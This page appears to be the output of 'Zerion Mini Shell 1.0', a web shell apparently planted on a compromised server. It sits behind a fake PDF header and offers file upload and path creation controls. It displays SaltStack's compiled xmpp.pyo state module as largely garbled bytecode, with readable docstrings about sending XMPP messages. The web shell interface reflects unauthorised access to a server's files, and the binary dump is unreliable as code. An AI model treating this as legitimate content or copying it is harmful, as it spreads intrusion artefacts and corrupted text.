%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/states/xmpp.pyo

�
���^c@@sGdZddlmZmZmZd�Zd�Zddd�ZdS(ux
Sending Messages over XMPP
==========================

.. versionadded:: 2014.1.0

This state is useful for firing messages during state runs, using the XMPP
protocol

.. code-block:: yaml

    server-warning-message:
      xmpp.send_msg:
        - name: 'This is a server warning message'
        - profile: my-xmpp-account
        - recipient: admins@xmpp.example.com/salt
i(tabsolute_importtprint_functiontunicode_literalscC@sdtkrdStS(u?
    Only load if the XMPP module is available in __salt__
    u
xmpp.send_msguxmpp(t__salt__tFalse(((s4/usr/lib/python2.7/site-packages/salt/states/xmpp.pyt__virtual__scC@s�i|d6id6d
d6dd6}tdrFdj||�|d<|Stdd	|d
|gd|�t|d<dj||�|d<|S(uG
    Send a message to an XMPP user

    .. code-block:: yaml

        server-warning-message:
          xmpp.send_msg:
            - name: 'This is a server warning message'
            - profile: my-xmpp-account
            - recipient: admins@xmpp.example.com/salt

    name
        The message to send to the XMPP user
    unameuchangesuresultuucommentutestu Need to send message to {0}: {1}uxmpp.send_msg_multitmessaget
recipientstprofileuSent message to {0}: {1}N(tNonet__opts__tformatRtTrue(tnamet	recipientRtret((s4/usr/lib/python2.7/site-packages/salt/states/xmpp.pytsend_msgs 




	
c
C@s�i|d6id6dd6dd6}|dkrH|dkrHd|d<|Sd}|rj|dj|�7}n|r�|dj|�7}n|d	j|�7}td
r�d||d<|Stdd
|d|d|d|�t|d<d||d<|S(u�
    Send a message to an list of recipients or rooms

    .. code-block:: yaml

        server-warning-message:
          xmpp.send_msg:
            - name: 'This is a server warning message'
            - profile: my-xmpp-account
            - recipients:
              - admins@xmpp.example.com/salt
            - rooms:
              - qa@conference.xmpp.example.com

    name
        The message to send to the XMPP user
    unameuchangesuresultuucommentu/Recipients and rooms are empty, no need to sendu
 users {0}u
 rooms {0}u, message: {0}utestuNeed to senduxmpp.send_msg_multiRRtroomsRuSent message toN(R	RR
RR(R
RRRRtcomment((s4/usr/lib/python2.7/site-packages/salt/states/xmpp.pytsend_msg_multiBs0





N(	t__doc__t
__future__RRRRRR	R(((s4/usr/lib/python2.7/site-packages/salt/states/xmpp.pyt<module>s
		%

Zerion Mini Shell 1.0